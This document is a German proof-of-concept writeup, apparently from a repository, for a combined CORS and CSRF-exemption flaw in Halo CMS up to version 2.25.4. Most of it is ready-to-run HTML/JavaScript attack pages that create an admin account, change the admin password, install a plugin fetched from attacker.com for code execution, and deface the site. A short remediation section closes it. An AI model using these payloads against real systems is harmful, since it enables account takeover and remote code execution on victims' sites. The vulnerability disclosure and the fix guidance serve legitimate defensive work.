unpredictable21/halo-cors-csrf-cve-2026-67921Proof-of-concept, das eine kombinierte CORS-Fehlkonfiguration und CSRF-Schutzumgehung in Halo CMS demonstriert und Cross-Site-Request-Forgery-Angriffe ermöglicht, um Admin-Benutzer zu erstellen, Passwörter zu ändern, Plugins zu installieren und Inhalte zu modifizieren.
Eine kritische kombinierte Angriffsschwachstelle existiert in Halo CMS bis Version 2.25.4 aufgrund von zwei Sicherheitsfehlkonfigurationen:
* (beliebige Herkunft) mit credentials: true/api/**, /apis/**) sind vom CSRF-Schutz ausgenommenIn Kombination ermöglichen diese einem Angreifer Cross-Site-Request-Forgery-Angriffe von beliebiger Herkunft, wodurch der Same-Origin-Policy-Schutz umgangen wird, den CORS durchsetzen soll.
CVSS v3.1-Score: 9.3 (Kritisch)
CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
CWE: CWE-352 (Cross-Site Request Forgery) + CWE-942 (Permissive Cross-domain Policy)
CVE-2026-67921
Datei: application/src/main/java/run/halo/app/security/CorsConfigurer.java
CorsConfigurationSource apiCorsConfigSource() {
var configuration = new CorsConfiguration();
configuration.setAllowedOriginPatterns(List.of("*")); // ← BELIEBIGE Herkunft
configuration.setAllowCredentials(true); // ← Cookies erlauben
configuration.setAllowedHeaders(List.of(
HttpHeaders.AUTHORIZATION,
HttpHeaders.CONTENT_TYPE,
HttpHeaders.ACCEPT,
"X-XSRF-TOKEN",
HttpHeaders.COOKIE));
configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
source.registerCorsConfiguration("/api/**", configuration);
source.registerCorsConfiguration("/apis/**", configuration);
return source;
}
Auswirkung: Jede Website kann authentifizierte Anfragen an die Halo-API mit den Cookies des Benutzers senden.
Datei: application/src/main/java/run/halo/app/security/CsrfConfigurer.java
@Override
public void configure(ServerHttpSecurity http) {
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(
pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
// ← API-Routen vom CSRF ausgenommen!
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
.requireCsrfProtectionMatcher(csrfMatcher));
}
Auswirkung: API-Anfragen erfordern keine CSRF-Tokens, selbst wenn sie über Sitzungscookies authentifiziert sind.
| Schutz | Allein | Kombiniert |
|---|---|---|
CORS * | Blockiert Credentials (Browser erzwingt) | Credentials erlaubt! |
| Kein CSRF | Geschützt durch Same-Origin-Policy | Durch CORS umgangen! |
| Ergebnis | Sicher | Vollständiges CSRF |
┌─────────────────────────────────────────────────────────────┐
│ Angreifer hostet bösartige Seite auf evil.com │
│ <form action="http://halo:8090/apis/..." method="POST"> │
│ <input name="..." value="..."> │
│ </form> │
│ <script>document.forms[0].submit()</script> │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ Browser des Opfers besucht evil.com │
│ → Formular sendet automatisch an Halo-API │
│ → Browser fügt Sitzungscookie automatisch hinzu │
│ → CORS: Origin * + credentials: true → Anfrage erlaubt! │
│ → CSRF: /apis/** ausgenommen → Kein Token erforderlich! │
│ → Anfrage erfolgreich mit den Rechten des Opfers │
└─────────────────────────────────────────────────────────────┘
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
<input type="hidden" name="apiVersion" value="v1alpha1"/>
<input type="hidden" name="kind" value="User"/>
<input type="hidden" name="metadata.name" value="hacker"/>
<input type="hidden" name="spec.password" value="hacker123"/>
<input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
<input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>
<html>
<body>
<script>
// Website-Titel ändern
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>
Erstellen Sie csrf-test.html:
<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Diese Seite versucht, Halo-Einstellungen zu ändern, sobald sie geladen wird.</p>
<script>
// CSRF testen, indem der Website-Titel geändert wird
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;
xhr.onload = function() {
if (xhr.status === 200 || xhr.status === 204) {
document.body.innerHTML += '<p style="color:green">ERFOLG! CSRF-Angriff funktioniert.</p>';
} else {
document.body.innerHTML += '<p style="color:red">Fehlgeschlagen: ' + xhr.status + '</p>';
}
};
xhr.send(JSON.stringify({
"site": {
"title": "CSRF Attack Success - " + new Date().toISOString()
}
}));
</script>
</body>
</html>
csrf-test.html in einem Browser, während Sie bei Halo angemeldet sindAccess-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
| Angriff | Auswirkung | Schweregrad |
|---|---|---|
| Admin-Benutzer erstellen | Vollständige Systemkompromittierung | Kritisch |
| Admin-Passwort ändern | Kontolibernahme | Kritisch |
| Bösartiges Plugin installieren | Remote Code Execution | Kritisch |
| Inhalte ändern | Defacement | Hoch |
| Daten löschen | Datenverlust | Hoch |
| Daten stehlen | Informationsoffenlegung | Hoch |
// Platzhalter durch spezifische Ursprünge ersetzen
configuration.setAllowedOriginPatterns(List.of(
"https://yourdomain.com",
"https://admin.yourdomain.com"
));
// API-Ausnahmen aus dem CSRF-Matcher entfernen
var csrfMatcher = new AndServerWebExchangeMatcher(
CsrfWebFilter.DEFAULT_CSRF_MATCHER,
new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
Für API-Endpunkte ist die Bearer-Token-Authentifizierung gegenüber Sitzungscookies zu bevorzugen, da diese nicht anfällig für CSRF ist.